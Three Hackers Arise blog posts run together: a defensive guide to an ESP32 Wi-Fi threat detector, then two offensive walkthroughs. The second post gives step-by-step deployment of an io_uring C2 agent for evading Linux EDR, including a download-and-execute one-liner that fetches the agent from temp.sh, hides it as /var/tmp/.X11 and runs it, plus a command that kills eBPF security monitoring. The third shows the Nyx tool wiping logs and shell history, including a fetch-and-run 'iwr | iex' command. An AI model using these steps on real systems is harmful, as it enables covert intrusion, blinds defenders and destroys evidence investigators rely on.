Welcome back, aspiring cyberwarriors!

Wireless security monitoring in the 2.4 GHz spectrum often depends on active probing, which can not only make the monitoring infrastructure vulnerable to attackers but also clutter the radio frequency environment. On the other hand, taking a passive approach by listening without transmitting allows security teams to detect malicious wireless activity more discreetly and reliably.

To put this idea into practice, the project Travel WiFi Canary was developed. This system serves as an early-warning mechanism using ESP32 microcontrollers. By operating the Wi-Fi radio in promiscuous mode, the device passively captures raw IEEE 802.11 management frames and traffic patterns. This helps identify potential threats such as deauthentication attacks, beacon spam, rogue access points often referred to as Evil Twins, and unauthorized probe requests. Eventually, it provides comprehensive insights into the wireless environment, enabling you to act proactively rather than reactively.

In this article, we will guide you through configuring, flashing, and running Travel WiFi Canary on the LilyGo T3 V1.6.1 development platform. Let’s get rolling!

What is Travel WiFi Canary?

The Travel WiFi Canary is a project that turns a low-cost ESP32 microcontroller into a passive 2.4 GHz threat-detection device. It operates continuously by alternating between active network enumeration and passive promiscuous packet capturing across specified channels.

At its core, the device’s Wi-Fi chip listens directly to raw radio signals passing through the air rather than connecting to a specific network.

When a wireless signal arrives, a fast automated responder checks the basic structure of the incoming data instantly. It identifies network management signals, such as connection requests, disconnection commands, or nearby network announcements, and separates them from standard web traffic.

To handle intense bursts of wireless activity without getting overwhelmed or missing crucial information, the chip places these flagged security signals into a temporary holding queue. This allows the main system to process and analyze the data safely in the background while keeping the hardware radio free to capture new incoming signals without interruption.

The central intelligence of the project relies on a dynamic confidence-scoring engine rather than rigid binary alerts. As the system processes the ring queues and periodic active scans, it evaluates detected anomalies against a local memory table built during the startup baseline phase.

Active scans check nearby Access Points for structural security violations. If an Access Point using an encrypted baseline protocol like WPA2 or WPA3 is detected operating without encryption, the system identifies an open clone attack. Security downgrades, unexpected vendor prefix mismatches on familiar SSIDs, or sudden disappearances of legitimate Access Points during an active open broadcast instantly contribute points to the global confidence score.

Simultaneously, the passive sniffer thread drains the lock-free queues to detect airborne attacks. Deauthentication frame floods are monitored over rolling time windows, assigning score penalties if threshold limits are breached by single sources or broadcast addresses.

The sniffer also inspects the payload fields inside beacon frames to detect Pwnagotchi signatures, parsing JSON structures hidden in vendor tags to determine if the device is operating in an active attack state.

All calculated points feed into a unified state machine. Aggregate scores between zero and two keep the device in a normal state, scores between three and five push it into a caution state, and scores of six or higher escalate the device into an active alert state.

To prevent temporary radio noise or brief packet anomalies from causing permanent alarm states, a background timer executes a score decay routine every minute. This routine gradually reduces the aggregate threat score over time, allowing the system to automatically transition back to a normal state once threat vectors clear the area. Hardware outputs, such as status LEDs or connected display controllers, continuously mirror the internal state variable to provide real-time visual monitoring.

What is LilyGo T3 V1.6.1?

The Travel WiFi Canary was initially made for the M5Stack Atom Lite development board. However, in this demonstration, I will test it on the LilyGo T3 V1.6.1.

The LilyGo T3 V1.6.1, also called the TTGO T3 LoRa32 V1.6.1, is an open-source development board designed for Internet of Things (IoT) projects and long-range RF communication. It has an ESP32 chip that allows for packet sniffing and Wi-Fi scanning. It gives us all the necessary functionality for wireless threat detection required by the Travel WiFi Canary project.

Getting Started with Travel WiFi Canary

The best way to flash the Travel WiFi Canary is by using Visual Studio Code along with the PlatformIO IDE extension. The installation process is fairly simple, so let’s move on to the next step, which is cloning the repository. I will use the modified version designed for the LilyGo T3 device. Here’s the command to do that:

kali> git clone https://github.com/AirClick-Code/esp32-wifi-canary.git

Next, connect your LilyGo T3 V1.6.1 to your computer using a data-capable Micro-USB cable. In Visual Studio Code, click on the PlatformIO status bar at the bottom and select env:esp32dev. Then, you can either click the checkmark icon in the status bar or press Ctrl+Alt+B to compile the firmware.

Once that is complete, click the right arrow icon in the status bar to start the upload process. PlatformIO will automatically detect the serial port, trigger the ESP32 to enter bootloader mode via auto-reset circuitry using the DTR and RTS lines, erase the necessary flash sectors, and upload the binaries seamlessly.

After the upload is complete, you can monitor the device with the built-in command:

pio device monitor -b 115200

At this point, the state machine and scanning engine are fully operational. During its initial scan, it detected seven nearby access points, recording their SSIDs, BSSIDs, signal strengths, channels, and encryption methods in memory.

Now, let’s simulate an open clone of a known encrypted network. The README file provides the following instructions:

I created a Wi-Fi access point from my phone with the same name as the network to which my system is connected, but without a password. Let’s observe how the WiFi Canary responds.

The script successfully identified the clone and granted 4 points to the score, changing the state to caution. The rogue open clone remained active in the following 20-second scan with a strong RSSI, adding another 4 points, which brought the total score to 8 and changed the state to alert. At the 310-second mark, the decay timer activated, decreasing the score from 8 to 7. However, since the score remained above the SCORE_ALERT threshold of 6 or higher, the system continued to maintain its alert state until the threat was resolved and the score naturally decayed back to zero.

Limitations

Despite the benefits of confidence scoring in reducing unexpected alerts, the possibility of false positives still exists. This is particularly true in enterprise networks, multi-node mesh setups, and crowded public venues, which can display behaviors that resemble attack patterns. On the flip side, false negatives may arise if a skilled attacker impersonates a legitimate BSSID while carefully adjusting their transmission power to fit in with normal signal strength variations, thus evading detection.

The limitations of the physical hardware create additional coverage boundaries. Passive detection of deauthentication relies heavily on the distance from the receiving device, meaning that low-power or far-off transmitters may be beyond the reach of the antenna. Furthermore, monitoring is confined solely to the 2.4 GHz spectrum, leaving the 5 GHz and 6 GHz bands completely unmonitored.

Lastly, the design of the radio architecture leads to a temporary gap in scanning whenever the chip switches between promiscuous packet sniffing and active environment scanning, resulting in a three-second blind spot where airborne deauthentication bursts can go unnoticed.

Summary

For many travelers and remote workers, understanding whether the Wi-Fi around them is secure is crucial. Private messages and sensitive information can be easily compromised when malicious actors set up fake hotspots or disrupt local connections. A device like the Travel WiFi Canary can continuously monitor the airwaves and alert you the moment a wireless attack is detected.

This device uses active Wi-Fi scanning and passive signal listening to find threats in real time. It constantly checks nearby networks against a trusted standard to spot fake open hotspots, duplicate routers, or security issues. At the same time, it listens for harmful activities like deauthentication attacks or rogue scanning tools. When it detects a threat, it raises a danger level with an internal scoring system and triggers a clear visual alarm. This alerts you immediately, giving you a warning before your devices may face any risk.

If you’re interested in improving your knowledge of wireless security, take a look at our Wi-Fi Hacking training. This course will guide you on how to assess the security of wireless networks and equip you with modern strategies to protect them effectively.

The post Building a Pocket Wi-Fi Threat Detector first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Finding an EDR on a Linux machine is common when working with organizations that take cybersecurity seriously. While many associate EDR platforms with Windows, modern Linux deployments are often monitored as well. Evading an EDR is almost an art form. It requires a deep understanding of operating systems, system internals, and how security products actually collect telemetry. Most EDR products are designed around visibility. They monitor processes, file access, network connections, privilege escalation attempts, and many other activities that could indicate bad behavior. A simple example might be accessing sensitive files, attempting to connect to suspicious external infrastructure, or spawning unusual child processes. These actions generate events that security products can inspect and correlate.

Over the years, researchers have demonstrated many different methods for bypassing or reducing EDR visibility. Some techniques abuse trusted binaries. Others use kernel vulnerabilities or weaknesses in monitoring logic. Today, however, we are going to look at a different approach involving a Linux feature called io_uring. Using this technique, it becomes possible to perform reconnaissance, transfer files, establish C2 communications, and execute commands while generating significantly fewer events.

The technique we will discuss today was developed by MatheuZSecurity.

Bypassing EDR

Introduced in Linux kernel 5.1, io_uring was designed to improve the performance of I/O operations. Instead of repeatedly interacting with the kernel through traditional system calls, applications can place requests into a shared queue. The kernel processes those requests and returns the results. Applications can submit many operations at once rather than making separate calls for every read, write, file access, or network action. This becomes interesting from a security perspective because many EDR products monitor these activities. These events are often collected through hooks, audit frameworks or eBPF.

With io_uring, many operations can be submitted and handled through a different execution model. Instead of repeatedly calling functions, requests are processed through io_uring, generating fewer observable events.

This does not make activity invisible, it just reduces the visibility of EDR. But modern security products are trying to improve their ability to monitor io_uring now. However, because it can reduce traditional syscall visibility, it has become an area of growing interest for hackers.

Setting Up

To test the concept ourselves, we first need to set up the environment. Let’s download the project and install the required dependency.

kali > git clone https://github.com/MatheuZSecurity/RingReaper
kali > cd RingReaper
kali > sudo apt install liburing-dev -y

By default, Kali Linux does not include the required development library, so we need to install it before compiling the project.

After that, open the agent.c file and update the IP address to point to your Kali machine. This is the address the agent will connect back to once it is executed on the target system. That is the only modification required.

Once the IP address has been updated, compile the project and upload it to a temporary hosting service.

kali > gcc agent.c -o agent -luring -O2 -s -static
kali > curl -F "file=@agent" https://temp.sh/upload

After the upload completes, you will receive a URL that can be used to download the binary.

Connecting to C2

First we need to start our server.py on Kali. 

kali > python3 server.py --ip 192.168.131.7 --port 443

With the binary uploaded, we can move to the target machine. Replace the URL in the following command with the link generated during the upload process and execute it.

ubuntu > python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"

The command downloads the executable, stores it locally, adjusts permissions, and launches it. If everything works correctly, the connection should appear immediately.

When operating inside a monitored environment, less activity usually means less risk. The less noise you generate, the less likely you are to attract attention.

Running Commands

Now we arrive at the interesting part. Once connected, start by running the help command to display the available functionality.

The command set is intentionally small, but it covers most of the tasks that you would typically need. For example, running the users command shows active sessions.

If necessary, individual sessions can be terminated using the kick command. The privesc command searches for SUID binaries that may be useful for privilege escalation. 

You can upload files to the target or retrieve files from the target machine. A common example would be reading .bash_history to see previously executed commands by local users.

Finally, the most interesting command is killbpf.

Many security tools including Falco, Sysdig, Elastic Defend, Tetragon, and many other monitoring platforms rely on eBPF to achieve deep kernel visibility. eBPF allows security products to observe process activity, system calls, network events, and many other behaviors without requiring traditional kernel modules.

The killbpf command attempts to disrupt this. It removes content from /sys/fs/bpf, which is the virtual filesystem commonly used to store pinned eBPF programs and maps. These maps act as shared data structures that allow eBPF programs and user-space applications to exchange information. When those components are removed or disrupted, security tools may lose visibility into system activity. In addition, the command attempts to identify and terminate processes actively interacting with eBPF maps.  Disrupting them can interfere with security monitoring.

Below you can see the tool working alongside TrendMicro. 

Summary

This agent shows how a legitimate Linux feature can be repurposed in unexpected ways. io_uring was created to improve performance and efficiency. Its purpose was never to bypass security products. However, as we have seen many times throughout cybersecurity history, legitimate technologies often become useful tools for hackers as well.

If you want to take your Linux knowledge to the next level, we offer Advanced Linux for Hackers training designed for both red and blue teams. The course will help you develop the advanced Linux skills needed for penetration testing, incident response, digital forensics, and other security tasks. Since many offensive and defensive techniques rely on a solid understanding of the operating system, these skills will let you troubleshoot complex environments.

The post Hacking: Linux EDR Evasion with io_uring first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

During red team engagements, we often have to deal with the logs that different operating systems store. Every action can leave behind digital evidence. That evidence is exactly what blue teams and digital forensics investigators rely on when reconstructing an attack.

Sometimes, however, a red team engagement is meant to simulate an adversary as realistically as possible. Hackers frequently attempt to hide what they did by erasing evidence of their activity or altering forensic artifacts to make investigations more difficult. If we want to accurately evaluate an organization’s ability to detect sophisticated intrusions, we also need to test how well it responds when an attacker attempts to remove those traces. There are different tools that exist that help reduce your footprint. For instance, HackShell, which we covered in one of our previous articles, makes Bash much stealthier, minimizing command history and improving OPSEC. 

But it does not help with removing all forensic traces that already exist throughout the operating system.

There is a different tool that focuses specifically on that task called Nyx.

What is Nyx

Nyx is a self-contained script for cleaning forensic traces on Linux, macOS, and Windows. The scripts walk through a predefined collection of forensic artifacts and remove or clean evidence that may have been generated during system usage.

Of course, no anti-forensics tool can guarantee that every trace of activity disappears. Modern enterprise environments often collect telemetry from many different sources including endpoint detection products, centralized log servers, network monitoring systems, cloud services, and backup solutions. Even if local artifacts are modified or deleted, evidence may still exist elsewhere. Nevertheless, Nyx has techniques that sophisticated hackers may attempt after achieving access to a system.

Below is only a portion of the Linux artifacts that Nyx targets. The complete list is considerably larger. Among the supported modules are shell history files, authentication logs, system logs, audit records, network-related artifacts, user activity, temporary files, and many other forensic traces that investigators commonly examine during an incident response investigation.

Since a significant portion of today’s infrastructure runs on Linux, the script includes modules that focus on the forensic artifacts generated by Linux servers and the services they host.

Windows typically runs less server infrastructure than Linux, so the list is somewhat shorter. Even so, Nyx still targets several important sources of forensic evidence, including Windows Event Logs, PowerShell history, registry-related security artifacts, and various other traces that investigators commonly analyze after a compromise.

Finally, macOS also receives attention with its own collection of supported forensic artifacts. Although the list is smaller than Linux, Nyx still includes modules designed to clean several sources of evidence that may reveal user or system activity.

Cleaning Forensic Evidence on Windows

Now we are ready to test the script and see how it works. There are several different ways you can execute it depending on your objective and your environment.

We will begin with Windows. Before actually cleaning anything, it is a good idea to start with -DryRun. This will show exactly what Nyx plans to clean without making any modifications to the system.

PS > wget https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 -O nyx.ps1

PS > .\nyx.ps1 -DryRun

Although the output reports the items that would be cleaned, nothing has actually been removed. The dry run simply shows the actions that Nyx intends to perform. 

Let’s clean them now.

PS > .\nyx.ps1

At this point, Nyx begins processing its configured modules and attempts to remove the supported forensic artifacts from the local system.

The same thing can also be achieved through in-memory execution without writing the script to disk first. Running tools directly from memory is a common technique used by hackers because it reduces the number of files written to the filesystem. However, that does not automatically mean antivirus or endpoint detection products will ignore the activity. Modern security products monitor far more than just files stored on disk. They also observe process behavior, PowerShell activity, AMSI events, command-line arguments, parent-child process relationships, memory behavior, and many other indicators.

PS > iwr https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 | iex

If needed, you can force execution without waiting for a confirmation prompt by adding the -Force flag. Useful when automating execution across multiple systems with PsExec.

Cleaning Forensic Evidence on Linux

Just as with Windows, it is often a good idea to begin by reviewing what the script intends to do before actually modifying the system.

If necessary, you can repeat the same process by listing the modules that will be used with the -n flag.

bash# > bash nyx.sh -n 

As you can see, it goes through multiple modules, including those related to IoT Smart Home devices, cryptocurrency artifacts, IDS and IPS logs, network traces, and many additional categories. This broad coverage also means that privacy-conscious users who want to remove unnecessary traces from their own systems may also find parts of the project useful, provided they understand what information is being deleted.

Summary

Instead of manually searching for dozens of log files, Nyx can speed up this process. It shows why centralized logging, endpoint monitoring and multiple layers of telemetry are so important. Even if a hacker succeeds in cleaning local artifacts, independent security systems may still preserve the evidence needed to detect and investigate the intrusion.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: Hiding Your Presence with Nyx first appeared on Hackers Arise.